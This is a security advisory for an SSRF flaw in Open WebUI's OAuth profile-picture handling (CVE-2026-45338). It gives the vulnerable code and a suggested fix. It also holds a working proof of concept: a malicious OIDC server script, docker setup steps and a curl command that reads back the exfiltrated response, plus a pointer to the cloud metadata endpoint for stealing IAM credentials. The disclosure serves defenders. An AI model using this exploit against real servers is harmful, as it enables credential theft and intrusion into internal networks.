open-webui
Affected
- introduced
0, fixed0.9.0(ecosystem)
Fixed versions
0.9.0
Fix
- Fixed version
0.9.0pip install --upgrade open-webui==0.9.0
Advisory
Also known as: CVE-2026-45338, GHSA-24c9-2m8q-qhmh
Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.
Vulnerable Code
# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
# No validate_url() call here
async with aiohttp.ClientSession(trust_env=True) as session:
async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
if resp.ok:
picture = await resp.read()
base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'
The codebase already uses validate_url() for the same SSRF protection pattern in other paths:
backend/open_webui/utils/files.py:38 - validate_url(url) before requests.get(url)backend/open_webui/routers/images.py:800 - validate_url(data) before requests.get(data)The omission in _process_picture_url() is inconsistent with the project's own security practices.
Affected Code Paths
picture_url = await self._process_picture_url(picture_url, token.get('access_token'))OAUTH_UPDATE_PICTURE_ON_LOGIN=trueSteps to Reproduce
Prerequisites
ENABLE_OAUTH_SIGNUP=trueSetup
1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:
"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse
SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
path = urllib.parse.urlparse(self.path).path
query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
if path == "/.well-known/openid-configuration":
self._json({"issuer":"http://host.docker.internal:9000",
"authorization_endpoint":"http://localhost:9000/authorize",
"token_endpoint":"http://host.docker.internal:9000/token",
"userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
"jwks_uri":"http://host.docker.internal:9000/jwks",
"response_types_supported":["code"],"subject_types_supported":["public"],
"id_token_signing_alg_values_supported":["RS256"],
"token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
elif path == "/authorize":
ru = query.get("redirect_uri",[""])[0]
st = query.get("state",[""])[0]
self.send_response(302)
self.send_header("Location", f"{ru}?code=poc-code&state={st}")
self.end_headers()
elif path == "/userinfo":
self._json({"sub":"attacker","email":"[email protected]","name":"Attacker","picture":SSRF_TARGET})
elif path == "/jwks":
self._json({"keys":[]})
elif path == "/canary":
self.send_response(200)
self.send_header("Content-Type","text/plain")
body = CANARY.encode()
self.send_header("Content-Length",len(body))
self.end_headers()
self.wfile.write(body)
print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
else:
self.send_response(404); self.end_headers()
def do_POST(self):
if "/token" in self.path:
self._json({"access_token":"tok","token_type":"bearer","expires_in":3600,
"userinfo":{"sub":"attacker","email":"[email protected]","name":"Attacker","picture":SSRF_TARGET}})
def _json(self, d):
b = json.dumps(d).encode()
self.send_response(200)
self.send_header("Content-Type","application/json")
self.send_header("Content-Length",len(b))
self.end_headers()
self.wfile.write(b)
HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()
2. Run the PoC server:
python3 poc_oidc.py
3. Start Open WebUI with Docker:
docker run -d -p 3000:8080 \
--name owui-ssrf-test \
--add-host=host.docker.internal:host-gateway \
-e ENABLE_OAUTH_SIGNUP=true \
-e WEBUI_AUTH=true \
-e OAUTH_CLIENT_ID=test-client \
-e OAUTH_CLIENT_SECRET=test-secret \
-e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \
-e OAUTH_PROVIDER_NAME=TestOIDC \
-e "OAUTH_SCOPES=openid email profile" \
ghcr.io/open-webui/open-webui:main
4. Create an admin account at http://localhost:3000, then sign out.
5. Click "Continue with TestOIDC" on the login page.
6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!
7. Verify exfiltrated data is stored and readable:
curl -s http://localhost:3000/api/v1/auths/ \
-H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile_image_url', '')
if 'base64,' in url:
decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
print(f'DECODED: {decoded}')
"
Result: DECODED: SSRF_CONFIRMED_OPEN_WEBUI
The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profile_image_url, and the attacker can read it back via the API.
Impact
An attacker can force the Open WebUI server to make HTTP requests to:
http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentialsThis is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profile_image_url field.
Configuration Note
This vulnerability requires ENABLE_OAUTH_SIGNUP=true (for the new-user path) or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.
Suggested Fix
Apply validate_url() before fetching, consistent with existing patterns in the codebase:
from open_webui.retrieval.web.utils import validate_url
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
if not picture_url:
return '/user.png'
try:
validate_url(picture_url) # Add this line
# ... rest unchangedHigh Basis: CVSS v3 score 7.7, vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
0, fixed 0.9.0 (ecosystem)0.9.0
0.9.0pip install --upgrade open-webui==0.9.0Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: PyPA Advisory Database · CC BY 4.0